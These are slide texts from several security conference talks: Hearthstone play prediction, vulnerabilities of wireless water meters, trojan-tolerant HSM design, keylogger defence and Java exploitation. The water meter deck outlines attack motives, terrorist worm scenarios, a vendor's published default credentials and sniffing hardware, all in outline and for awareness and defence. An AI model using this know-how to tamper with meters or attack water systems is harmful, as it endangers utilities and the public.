Anatomy of our prediction system
Model card affinities
Evaluate affinities
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Anatomy of our prediction system
Model card affinities
Learn from replays
Evaluate affinities
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Anatomy of our prediction system
Model card affinities
Learn from replays
Evaluate affinities
Profit :)
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Modeling cards affinities
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Cards bigrams
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Cards bigrams
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Cards bigrams
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Cards un-ordered bigrams
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Evaluate cards affinities
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Played
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Played
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Played
Bi-grams
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Played
500
Bi-grams
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Played
500
350
Bi-grams
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Played
500
400
350
Bi-grams
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Played
400
500
400
350
Bi-grams
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Played
400
500
400
350
Bi-grams
Ranked Predictions
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Played
400
500
400
350
Bi-grams
750
Ranked Predictions
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Played
400
500
400
350
Bi-grams
500
750
Ranked Predictions
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Played
400
500
400
350
Bi-grams
500
750
400
Ranked Predictions
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Training: 45000 replays
Testing : 5000 replays
1 model per class
Training and evaluation
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Suspense is killing me
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
97% success rate for best prediction by turn 3
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Best prediction
Average
10th prediction
Probability predictions will be played
0%
10%
20%
30%
40%
50%
60%
70%
80%
90%
100%
Turn
2
3
4
5
6
7
8
9
10
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Best prediction
Average
10th prediction
Probability predictions will be played
0%
10%
20%
30%
40%
50%
60%
70%
80%
90%
100%
Turn
2
3
4
5
6
7
8
9
10
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Predicting game outcome
How to optimize deck for
mana-throughput
Hero powers comparison
Comparing decks types
What’s next?
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Thank you!
https://www.elie.net/hs & @elie/@cealtea on Twitter
http://swiatgry.pl/tapety/pc/5488,hearthstone_heroes_of_warcraft | pdf |
Vulnerabilities of Wireless
Water Meter Networks
John McNabb
[email protected]
DEF CON 19
August 6, 2011
1
Background
• 13 years as an elected Water Commissioner
• 2 articles in NEWWA Journal on water infrastructure
• 10 years as lobbyist for Clean Water Action
• 6+ years as an IT Pro, mostly doing general tech support
• 2+ years as a security researcher, primarily interested in
drinking water security & cyber security
• Independent researcher; no school, company, or grant
support
• DEF CON 18 last year - Cyberterrorism & Security of the
National Drinking Water Infrastructure
• [March 2011 Hacker Japan article on my DC18 talk]
• Shmoocon 2011 – Hacking SmartWater Water Meters
2
Importance of Water
•
Water is essential for life.
•
Water is a scarce commodity
•
Water has been a source of conflict
and war throughout human history.
•
Water is a $400 billion global
industry. Water has been called “the
new oil.”
•
Al Qaeda has repeatedly threatened
to “poison” United States drinking
water supplies.
•
Water is a critical infrastructure.
•
However, the American Society of
Civil Engineers gives the nation’s
drinking water infrastructure a D-
grade and estimates that an
investment of $255 billion is needed
to bring the system to needed
standards
3
Water Meter = Cash Register
•
Water Bill based on the difference
between “present reading” and
“previous reading”, which is
“usage”
•
Usage x water rates = usage charge
•
$40 billion – the annual income of
US water utilities, mostly from
meter information
•
Average monthly water bill ranges
from $34.29 a month in Phoenix
compared to $65.47 in Boston for a
family of four using 100 gallons per
person each day.
•
The revenue is very important to
support day to day operations as
well as capital replacement which
nationally is billions behind
schedule.
4
What could go wrong?
The June, 2011 audit of the Brockton,
Mass. Water & Sewer Department found
that :
•
most of the City’s meters were 15
years or older,
•
from FY2006 through FY2010
approximately 25% of the water bills
were not based on reading the meter
but were estimated readings, and
that
•
the billing staff did not have sufficient
training in using the system.
The audit was called for by the City
Council following the issuance of
numerous retroactive bills to residents,
resulting in one case of a water bill of
$97,000 for one homeowner.
5
Brockton resident with
$92,439.35 water bill
Meter Tampering for Money
• Energy theft costs consumers
billions of dollars every year in
the United States alone
• Electric utilities assume 10%
loss each year from theft
• “Theft of water by tampering
with or bypassing water
meters costs BWSC [Boston]
thousands of dollars a year &
.. imposes costs every paying
customer.”
6
Water Meter Engineering
•
How does the meter itself work?
•
Displacement
–
Oscillating Piston
–
Nutating Disk
•
Velocity
–
Single jet (Paddle wheel)
–
Multijet (Horizontal impeller)
–
Turbine
–
Propeller
•
Ultrasonic meters measure the difference of the
transit time of ultrasonic pulses propagating in and
against flow direction
•
Electromagnetic flow meters operate based upon
Faraday's Law of induction, which states that a
voltage will be induced in a conductor moving
through a magnetic field.
Faraday's Law: E=kBDV
Common types of water meters
•
Multi-jet Meter
•
Single-jet Meter
•
Positive Displacement Meter
•
Turbine Meter
•
Compound Meter
•
Fire Meter
•
Fire Hydrant Meter
•
Electromagnetic or Mag Meter
•
Ultrasonic Meter
7
Data collection: Register
• Meters are data collection
devices
• Data shown on “register”
• Data is total volume of
water thru the meter
since it was installed
• Interval readings turn it
into information
• The less time between
readings, the more
information collected
8
Data Collection Methods
•
Eyeball. This is the legacy method
which requires a meter reader to
physically enter the premises and
read the meter, usually in the
basement.
•
Walk-By. The meter is connected
with wires to a device located on the
outside of the building, so even
though a physical visit by a meter
reader is still required he does not
have to enter the building
•
Drive-By. The meter is retrofitted
with, or already comes with, a radio
frequency transmitter, that is read
by the meter reader in his vehicle as
he drives past all the metered
buildings on his route.
9
Data Collection – Fixed Network
•
The fixed network is what we usually
think of when we talk about
Automatic Meter Reading or Smart
Meter
•
This takes the full capabilities of the
wireless water meter and enables it
to become a sensor network for the
water utility that can allow almost
continuous water usage readings
(usually every 5-15 minutes).
•
In the fixed network the signals from
the single meter are transmitted and
then collected in a central receiving
station, if close enough, or to
repeaters and then to the central
receiving station.
•
In most cases a star topology is used,
but in some implementations a mesh
topology is used to each meter can
act as a repeater for any others
within range.
10
Basic Network Components
• Wireless transmitter or
transceiver on the meter
• Collector, receiver or
transceiver; (drive-by or
static location)
• Central collector
receiver/transceiver
• Billing office computer
system
11
Wireless Water Meter is…
• Embedded device
• Node in Sensor network
• Information collection
device
• Electronic cash register
• Regulator of availability
of drinking water
• Water conservation
device
• Big Brother?
12
Types of Wireless Water Meters
• No standards
• 25+ major
manufacturers, each
with small market share
• Data transmission:
- Phone lines
- Cable
- Power Lines
- Radio frequency
- Combination
13
Growth of Smart Water Meters
•
The U.S. advanced metering
infrastructure (AMI) market
[electricity+gas+water] will grow
from $2.54 billion in 2010 to $5.82
billion in 2015 -- an 18% compound
annual growth rate
•
The world smart water meter
market is expected to total $4.2
billion between 2010 and 2016.
•
The worldwide installed base of
smart water meters is expected to
increase from 5.2 million in 2009 to
31.8 million by 2016.
•
Most water meters in the US are
read manually; only 28 percent of
water utilities have AMR meters.
•
About 50% of California water
utilities have smart meters, driven
by state mandate to cut water
consumption 20% by 2020..
14
Benefits of AMR/AMI to Utility
• Lower meter reading cost
• Better identify leaks
• Unaccounted-for water
• Detect evasion of water
use restrictions
• Better accuracy
• Allows monthly billing
• Resolve bill disputes
• Customer service
• Water conservation
15
Water “Smart Grid” Real Benefits
The real benefits of the Smart Grid for
Water lie in aggregative, integrative, and
derivative information
A meter read is not just a meter read. It:
•
forms a key part of the billing record;
•
forms a fundamental part of the leak
loss (pumped versus billed) analysis;
•
establishes peak and average
demand parameters;
•
is a key measure of the performance
of water conservation activities;
•
forms the basis for feedback to the
consumer directly on their impact on
resources; and
•
is the foundation for key reporting
elements associated with regulatory
requirements such as compliance
with California’s 20 x 2020 Water
Conservation Plan.”
16
Wireless Sensor Network
•
A wireless water meter network is a kind of
Wireless Sensor Network, which is defined as
•
“a large network of resource-constrained
sensor nodes with multiple preset function,
such as sensing and processing… the major
elements of a WSN are the sensor nodes and
the base station.”
•
Each individual water meter is a “sensor
node.”
•
WSN Inherent Vulnerabilities:
-
the wireless medium itself,
-
unattended operation,
-
random topology, and
-
hard to protect against insider attacks
•
Processor. A typical sensor node processor is
of 4-8 MHz, having 4KB of RAM, 128KB flash
and ideally 916 MHz of radio frequency.
•
Energy: Sensor nodes typically have a small
form factor with a limited amount of battery
power.
•
Memory: Sensor nodes usually have a small
amount of memory. Hence, sensor network
protocols should not require the storage of a
large amount of information at the sensor
node.
17
Potential Attacks on WSN’s
• Wireless Sensor Networks
are subject to a wide
range of potential attacks
• Active vs. Passive Attacks
• Outsider vs. Insider
• Mote class vs. Laptop class
• Interruption
• Interception
• Modification
• Replay attacks
18
WSN Countermeasures
• Link layer encryption
and authentication
• Multipath routing
• Identity verification
• Bidirectional link
verification
• Authenticated
broadcast
19
Wireless Meter Electronics
• Have off the shelf
microcontrollers &
transceivers
• Texas Instruments,
Atmel, Microchip, etc.
• The trick is to find out
which one is in a
particular meter.
• Run on batteries,
usually 5-20 yrs lifespan
20
Design Description from Patent
Patent # 5,438,329, Duplex Bi-Directional Multi-Mode remote
Instrument Reading and Telemetry System, August 1, 1995,
the patent for the Sensus MXU Model 550 Meter Transceiver
Unit (MXU) is very informative:
•
“The instrument link 2 includes a microcontroller, such as
an Intel 8051 family integrated circuit, to evaluate signals
from the remote station and to control all the instrument
link functions except those associated with the one
second timer, the auto transmit counter, and the
functions associated with those components.”
•
“The Electronically Erasable Programmable Read-Only
Memory (EEPROM) interfaces with the microcontroller
through a serial interface and provides one (1) kilobit
(Kbit) of non-volatile storage. The EEPROM provides a
means for storing configuration parameters and data that
must be saved when the microcontroller is powered down
(i.e. the instrument link sleep mode). For example, the
EEPROM stores diagnostic data relating to the
performance of the instrument link and a remote station.
The EEPROM may be a Thompson 93C46 or equivalent.”
•
“An interrogation signal preamble is followed by a
interrogation message that is preferably a Manchester
encoded message at a data rate of 1 kbit per second. The
interrogation message contains a variety of parameters
including the interrogation mode (blind or geographic),
instrument link ID with possible wild cards, reply window
length, reply RF channel to be used, the pseudorandom
code to be used for spread spectrum modulation, the
reading cycle number, and the data to be transmitted (i.e.
register reading or diagnostic information). Such a
message is typically protected against transmission bit
errors by a 16 bit CRC field.”
21
Radio Frequencies
Manufacturer
Frequency
FHSS?
Security?
•
Aclara (Hexagram)
450 – 470
•
Badger (Itron)
902 – 928
•
Landis+Gyr (Cellnet)
902 – 928
•
Datamatic
902 – 928
FHSS
•
Elster AMCO (Severn)
902 – 928
FHSS
•
Inovics
902 – 928
FHSS
•
Itron
910 – 920
•
Master Meter
902 – 928
DSSS
Encryption
•
Mueller (Hersey)
902 – 928
FHSS
•
Neptune
900 – 950
FHSS
None
•
Performance
902 – 928
FHSS
•
RAMAR
902 – 928
•
Sensus
900 – 950
DSSS
Encryption
22
900 Mhz
• 900 MHz most commonly used
for water meters in USA
• Neptune Meter; Transmitter
Specifications:
- Transmit Period - Every 14
seconds
- Transmitter Channels – 50
- Channel Frequency –
910-920 MHz
- FCC Part 15.247 (802.15.247)
- Security? No encryption. FHSS
23
Frequency Hopping Spread Spectrum
•
FHSS is a Layer One method of
transmission
•
“Some have expressed ideas that
frequency hopping in FHSS may
contribute to the security of 802.11,
but these are invalid expectations—
the hopping codes used by FHSS are
specified by the standard and are
available to anyone, thus making the
expectation of security through FHSS
unreasonable.” Internet Protocol
Journal, March 2002 Vol. 5 No. 1
•
Touted by many as a security feature
that makes encryption unnecessary
•
While there are methods being
researched to crack FHSS, it is still an
obstacle to sniffing or eavesdropping
•
However, researches have shown that
FHSS can be cracked and should not
be considered a security feature.
24
Why Hack Into Water Meters?
(1) Reduce water bill
(2) Steal water
(3) Evade water restrictions
(4) Surveillance
(5) Jack up other’s water bills
(6) Route to introduce malware
into water SCADA system(?)
(7) Get into other ‘smartgrid’
networks like electric grid
(8) Recon for potential attack?
25
Evil Consumer
• Theft of services
• Build and distribute MITM
boxes, like a pirate cable
descrambler, or
electricity theft device
(being used in China), to
lower reported usage,
lowering water bills;
stealing water & money.
• EFFECT: less revenue to
water utility, leading to
less maintenance of
system and higher rates.
26
Evil Insider
•
Insider threat: one or more individuals
with the access and/or inside knowledge
of a company, organization, or enterprise
that would allow them to exploit the
vulnerabilities of that entity’s security,
systems, services, products, or facilities
with the intent to cause harm.
•
“A new intelligence report from the
Department of Homeland Security issued
Tuesday, titled Insider Threat to Utilities,
warns "violent extremists have, in fact,
obtained insider positions," and that
"outsiders have attempted to solicit
utility-sector employees" for damaging
physical and cyber attacks.” ABC News,
July 20, 2011
•
The Maroochie incident in 2000, when a
disgruntled former contractor used inside
info to release 800,000 liters of sewage
into the environment, using wireless
network communications from his laptop,
is an example of how insider threat could
impact a wireless sensor network.
27
Terrorist Attack
• Recon. Terrorist sends worm
to intercept all signals to
build hydraulic map of
system for optimum results
when inject poison into
distribution system
• Disruption. Terrorist sends
worm to shut off all water
on certain date and time,
coinciding with other
attacks, updates firmware to
keeps water turned off until
utility can update them all.
28
Smart Grid is very “worm-able”
• Thanassis Giannetsos
demonstrated a worm
attack on wireless sensor
networks with his SENSYS
attack tool [BH Spain
2010]
• IOactive successfully ran a
worm in a simulated city
of 225,000 smart electric
meters [BH USA 2009]
• Water smart grid could be
just as vulnerable
29
Evil Water Utility: Big Brother?
• “Cary's citizens are right to be
concerned about the information
about our private lives that our
Town staff will be able to collect if
the Aquastar/AMI water meter
system is implemented as planned.
• According to Daniel Burrus, a
technology futurist and keynote
speaker at the Autovation
conference last September, "As a
utility, I could know exactly when
you take a shower, exactly when you
water the plants or wash the dishes.
• I could figure out how much water
or electricity you are using at any
point in time, and probably figure
out what you are using it for."
30
Are We Being Paranoid?
31
Up the Ante: Hydrosense
•
HydroSense is a simple, single point, sensor
of pressure of water in a building, which can
give accurate information about when each
water fixture is turned on and for how long.
•
Hydrosense is a simple, screw-on device
that doesn’t require the services of a
plumber. It operates on battery power, or
uses WATTR, a self-powered version that
uses the flow of water to power the device.
•
Hydrosense measures the change in
pressure and then to estimate the flow
rate, which is related to pressure change via
Poiseuille’s Law,
•
Poiseuille’s Law is that the volumetric rate
of fluid in a pipe Q is dependent on the
radius of the pipe r, the length of the pipe l,
the viscosity of the fluid µ and the pressure
drop .
•
The information is then sent via wireless –
perhaps “backhauled” over the same
wireless channel used by the water meter –
to the water utility.
32
Vulnerabilities of Wireless
Water Meters
•
Some inherent vulnerabilities of
the design – low onboard
memory
•
One vendor tells us what
frequencies they transmit on,
with no FHSS or encryption!
•
Badger gives out its default
network username, password
and wireless key on web site
•
Transceivers can be purchased
on Ebay
•
No encryption, FHSS, or DSSS
on many of them
•
However, more of them are
coming out with encryption
now
33
Design Advances in Water Meters
• “Third Generation”
electronic water meters
do not need batteries,
have 99.9% accuracy.
• More wireless water
meters are now being
sold with encryption,
such as AES 128 bit, 256
bit encryption
34
Sniffing FHSS Transceivers
•
atlas, cutaway & Q – At Shmoocon 2011,
atlas, cutaway & Q presented Hop Hacking
Hedy and showed how FHSS was not
inherently secure and how to crack it in
900 Mhz wireless devices using the
CC1111EMK 868-915 Evaluation Module
Kit programmed with Goodfet, using
SmartRFstudio and python code they
wrote.
•
Rob Havelt - At Black Hat Europe 2009, in
Yes it is Too WiFi, and No It’s Not
Inherently Secure, Rob Havelt discussed
how he was able to crack Frequency
Hopping Spread Spectrum (FHSS) in 2.4
GHz 802.11 using GNU radio and a USRP
2.0 and how it is not inherently secure.
“For legacy 802.11, it was possible to just
use a USRP locked to a specific channel
band, then feed the raw data into the BBN
Adroit code - for kicks, you could set a file
as the sniffer interface for Kismet or a tool
like that to do analysis at each layer.”
35
FAIL!
• I was hoping to supplement
this talk with results of
sniffing packets from my
900 MHZ FHSS wireless
water meter.
• But, didn’t have time or
resources to do this before
this talk, but the work is still
ongoing.
• Tried Amtel RZ600, also
FUNcube software radio
peripheral, couldn’t get
them to work yet.
36
Ongoing Work
•
Atmel RZ600 Development Kit. Has a 900 Mhz
antenna and is advertised to be capable of being
used as a development platform or just for packet
sniffing. However, it did not work right out of the
box. I am experimenting with some software to
link it to Wireshark, but no success to date.
•
Texas Instruments CC1111 868-915 Mhz
Evaluation Module Kit. Will use to try to replicate
the FHSS technique demonstrated by atlas,
cutaway & Q, after making a working Goodfet.
May also try Bus Pirate and a TI CC Debugger.
•
RFM DNT900DK. The kit includes: two DNT900P
radios installed in DNT900 interface boards, etc.
Looks promising but haven’t tried it yet.
•
FunCUBE Dongle Pro. The FunCUBE Pro is
advertised as a software defined radio that
operates in the 64 – 1,700 Mhz range. I will see if I
can use it to replicate Havelt’s methodology.
•
IM-Me. I am dying to replicate the uses of this
pager which was demonstrated in “Real Men Carry
Pink Pagers” by Travis Goodspeed and Michael
Ossmann at ToorCon 2010, and see what other
uses I can get out of it. I will try this if I have time.
•
Breaking down wireless water meters and start to
reverse engineer them.
37
Wrapping Up
•
Water meters are an integral
component of the national drinking
water infrastructure
•
Tampering with water meters,
either mechanically or
electronically, cost s money for
local water systems
•
Wireless water meters need to be
better secured to prevent potential
financial loss to water suppliers
and to reduce potential security
vulnerability to the water system.
•
Thanks to:
•
Marc Maiffret
•
Rob Havelt
•
Travis Goodspeed
•
atlas, cutaway, & Q
•
Bob Johnston, CISSP, for his
archived DHS Daily Infrastructure
Reports (cited in my white paper)
38 | pdf |
Trojan-tolerant
Hardware &
Supply Chain
Security
in Practice
Who we are
Vasilios Mavroudis
Doctoral Researcher, UCL
Dan Cvrcek
CEO, Enigma Bridge
George Danezis
Professor, UCL
Petr Svenda
CTO, Enigma Bridge
Assistant Professor, MUni
Highlights
▪ HSMs & Shortcomings
▪ Existing Solutions
▪ Lessons learned from airplanes
▪ Hardware Prototype
▪ Crypto Protocols
▪ Attack-Defense Demo
▪ Politics, Distrust & Hardware Security
Hardware Security Modules
Physical computing device that safeguards and manages digital
keys for strong authentication and provides cryptoprocessing.
Applications:
▪ Cryptographic key generation, storage, management
▪ Sensitive data handling and storage
▪ Application servers offloading
Crypto Operations are carried out in the device
No need to output the private keys!
HSM Threat Model
Common Use cases:
PKIs, Card payment systems, SSL connections, DNSSEC,
&Transparent Data Encryption for Databases
Certified to Common Criteria or FIPS 140:
▪ Anti-Tampering Protection
▪ Strong Random Number Generator
▪ Cryptographic key management
▪ Bugs
▪ Errors
▪ Backdoors/HT
CVE-2015-5464
The HSM allows remote authenticated users to
bypass intended key-export restrictions …
Existing Solutions
▪ Trusted Foundries
Very expensive
Prone to errors
▪ Split-Manufacturing
Still Expensive
Again prone to errors
Not 100% secure
▪ Post-fabrication Inspection
Expensive
A huge pain, doesn’t scale
▪ Secret-sharing
Keys generated by a trusted
party
Only for key storage
Alternative approaches?
A solution from the sky (not the cloud)
Lockstep systems are fault-tolerant computer systems that
run the same set of operations at the same time in parallel.
▪ Dual redundancy
allows error detection and error correction
▪ Triple redundancy
automatic error correction, via majority vote
→ Triple Redundant 777 Primary Flight Computer
Not so fast…
▪ Fault-tolerant systems are built for safety
▪ The computations are simply replicated
▪ The majority vote part is using a trusted IC
Not enough for security!
Redundancy for security?
We did it!
Supported Crypto
▪ Random number Generation
▪ Key Generation & Management
▪ Decryption
▪ Signing
Features
▪ Tolerates:
- faulty hardware components
- multiple backdoored components
- Colluding adversaries
▪ Provides resilience
▪ Tamper-resistant (FIPS-4)
▪ Easily Programmable (Java variant)
We did it!
Components
▪ 120 SmartCards
▪ Quorums of three cards
▪ 1.2Mbps dedicated inter-IC buses
▪ ARTIX FPGA controls the comm. bus
▪ 1Gbit/s bandwidth for incoming
requests
Smart Cards?
- 8-32 bit processor @ 5-20MHz
- Persistent memory 32-150kB (EEPROM)
- Volatile fast RAM, usually <<10kB
- True Random Number Generator
- Cryptographic Coprocessor (3DES,AES,RSA-2048,...)
- Limited attack surface, small trusted computing base
EEPROM
CPU
CRYPTO
SRAM
ROM
RNG
Smart Cards?
Intended for physically unprotected environment
- NIST FIPS140-2 standard, Level 4
- Common Criteria EAL4+/5+
Tamper protection
- Tamper-evidence (visible if physically manipulated)
- Tamper-resistance (can withstand physical attack)
- Tamper-response (erase keys…)
Protection against side-channel attacks (power,EM,fault)
Periodic tests of TRNG functionality
Performance
Hardware Pic!
Custom-Board
with 120 JCs
JavaCard 3.0.4
Gigabit link
Controller
Classic Key Generation
Single IC System
1.
Bob asks for new key pair
2.
Faulty/Backdoored IC generates key using
broken RNG
3.
Private Key is “securely” stored
4.
Weak public key is returned
Properties
- Private key never leaves the box
- IC has full access to the private key
- Bob can’t tell if he got a “bad” key
Generate a
key-pair
for me!
Distributed Key Generation
1.
User asks for new key pair
2.
ICs generate their key pairs
3.
ICs exchange hashes of their shares
4.
ICs reveal their shares
5.
ICs verify each others’ shares
6.
ICs compute the common public key
7.
ICs return the common public keys
8.
Bob verifies that all the keys are same
Classic Decryption
Single IC System
1.
Bob asks for ciphertext
decryption
2.
Faulty/Backdoored IC decrypts
ciphertext
3.
Bob retrieves plaintext
The IC need full access to the private
key to be able to decrypt ciphertexts.
Decrypt this
ciphertext
Distributed Decryption
1.
Bob asks for ciphertext decryption
2.
His authorization is verified
3.
ICs compute their decryption shares
4.
Bob receives the shares and combines
them to retrieve the ciphertext
Properties
- No single authority gains access to the
full private key for the decryption
- If one IC abstains, decryption fails
Classic Signing
Single IC System
1.
Bob asks for document signing
2.
Faulty/Backdoored IC signs the
plaintext and retains contents
3.
Bob retrieves signature
The IC need full access to the private
key to be able to sign plaintexts.
Sign this
plaintext
Distributed Signing I
Caching
1.
Bob sends a caching request
2.
The ICs verify Bob’s authorization
3.
Generate a random group element
based on j
4.
Bob sums the random elements
Properties
- Caching for thousands of rounds (j)
- Bob stores Rj
Distributed Signing II
Signing
1.
Bob asks for document signing &
sends Rj, j, and the hash of m
2.
ICs verify his authorization
3.
ICs check if j has been used again
4.
ICs compute their signature share
5.
Bob sums all signature shares
Properties
- All ICs must participate
- Significant speed up with caching
Key Propagation
A1
A3
A2
B1
B2
B3
1.
Quorum A generates a public key
2.
Then each IC in A splits its private key in
three shares and sends them to B1, B2, B3
3.
Each IC in B receives shares from A1, A2, A3
4.
Each IC in B combines the 3 shares and
retrieves its private key
The full public keys of A and B are the same!
Pub Key
Pub Key
Mutual Distrust & Hardware Security
So far our argument was:
“We can guarantee security if there is at least one honest
IC that doesn’t incorporate a backdoor or an error.”
However, when using COTS components it can be
hard to even trust that a single IC is not backdoored.
Mutual Distrust & Hardware Trojans
Government-level adversaries are unlikely to collude and/or share
their backdoor details. Hence, we can reform our argument to be:
“We can guarantee security if there is at least
one non-colluding IC, even if it is untrusted.”
Mutual Distrust & Hardware Trojans
We can guarantee security if there is at least
one non-colluding IC, even if it is untrusted.
A Kill Switch?
wired.com
A Kill Switch?
IEEE Spectrum
Conclusions & Future
New architecture
▪
Decent performance & Small overhead compared to a single IC
▪
Existing malicious insertion countermeasure are very welcome!
▪
Suitable for commercial-off-the-shelf components
▪
Faulty hardware is no longer an end-game but a manageable problem
Future
▪
Distributed Symmetric crypto? SSL-accelerators etc
▪
Does it transfer to a more generic architecture?
Q & A | pdf |
How to secure the keyboard
chain
DEF CON 23
Paul Amicelli - Baptiste David - CVO Esiea-Ouest
c Creative Commons 2.0 - b Attribution - n NonCommercial - a ShareAlike
1 / 25
The Talk
1. Background
2. Keyloggers forms
3. Main idea of our work
4. Details of our work
5. To go further
6. Finally.
Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna
2 / 25
Keyloggers
--
"A keylogger is a little piece of software or
hardware, which is able to retrieve every
keystrokes on a computer"
Background
Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna
3 / 25
User mode ones
Easy to developp, and really efficient
Quite easy to detect and remove
Keyloggers Forms
Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna
4 / 25
Kernel mode ones
Quite hard to develop and really, really
efficient
Not easy to detect and quite hard to remove
Keyloggers Forms
Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna
5 / 25
Hardware ones
Require physical access to the computer,
but the most efficient technic
Software-undetectable, sometimes easy to remove, sometimes not
Keyloggers Forms
Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna
6 / 25
Proposed solution
Encrypt keystrokes
As close as possible to the hardware
Jamming keyloggers
Our work - Main Idea
Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna
7 / 25
Basic Understanding
Our work - Main Idea
Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna
8 / 25
Basic Understanding
Our work - Main Idea
Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna
9 / 25
Basic Understanding
Our work - Main Idea
Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna
10 / 25
Basic Understanding
Our work - Main Idea
Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna
11 / 25
Basic Understanding
Our work - Main Idea
Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna
12 / 25
Basic Understanding
Our work - Main Idea
Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna
13 / 25
Keyboard driver stack
Our work - Details
Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna
14 / 25
Encryption
Problematic
Unable to directly encrypt keystrokes with a streamcipher
Only known keystrokes are broadcasted by Windows
The rest is inhibated
Few keystrokes codes authorized
Our work - Details
Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna
15 / 25
Encryption
White list system for input decision
Our work - Details
Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna
16 / 25
Encryption
Solution : Jamming
Currently, a 64bits common key exchanged
every 20 keystrokes
Stream cipher initiated with the common
key
Algorithm based on shuffle of a deck of
cards : only
Our work - Details
Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna
17 / 25
Encryption Scheme
Our work - Details
Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna
18 / 25
API-Driver Communication
Our work - Details
Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna
19 / 25
Protection of the protection
Monitoring of the keyboard driver stack
Protection against DLL injection of the API
Monitoring of the registry
Our work - Details
Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna
20 / 25
Is it working ?
Our work - Results
Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna
21 / 25
Endless possibilities
Keystrokes combinations
Polymorphic on-screen keyboard
Time based keystrokes
Mini-game, music, colors,..
Keep keystrokes in ring 0 (GostCrypt)
Our work - To go further
Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna
22 / 25
GostCrypt
a full ring 0 password version
Our work - Example
Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna
23 / 25
State of the project
Proof of concept
Available on
Github
( https:// github.com/whitekernel/gostxboard.git )
Educational purpose
Free and opensource, forever
Call for participation
Finally
Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna
24 / 25
Questions ?
Maybe answers . . .
Question time
[email protected] - [email protected]
Paul Amicelli - Baptiste David - CVO Esiea-Ouest - cbna
25 / 25 | pdf |
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
Java Every-days
Exploiting Software Running on 3 Billion Devices
Brian Gorenc
Manager, Vulnerability Researcher
Jasiel Spelman
Security Researcher
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
Solution
“Unless it is absolutely necessary to run Java in web
browsers, disable it as described below, even after updating
to 7u11. This will help mitigate other Java vulnerabilities
that may be discovered in the future.”
- DHS-sponsored CERT
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
3
Agenda
• Introduction
• Vulnerability Trending and Attack Surface
• Java Sub-component Weaknesses
• Leveraging Sub-component Weaknesses
• Vendor Response Review
• Conclusion
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
Introduction
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
5
whois Brian Gorenc
Employer:
Hewlett-Packard
Organization:
HP Security Research
Zero Day Initiative
Responsibilities: Manager, Vulnerability Research
Running Internet’s Crashbin
Verifying EIP == 0x41414141
Organizing Pwn2Own
Free Time:
Endlessly Flowing Code Paths
That Don’t Lead to Vulnerabilities
Twitter:
@MaliciousInput, @thezdi
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
6
whois Jasiel Spelman
Employer:
Hewlett-Packard
Organization:
HP Security Research
Zero Day Initiative
Responsibilities: Security Research
Staying Current with the Latest Vulnerabilities
Cursing at IDA
Working During the Evening, Sleeping During the Day
Free Time:
Jumping Out Of Planes
Playing Electric Bass
Twitter:
@WanderingGlitch, @thezdi
© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice.
7
Why Java?
Surge of ZDI submissions in late 2012 and early 2013
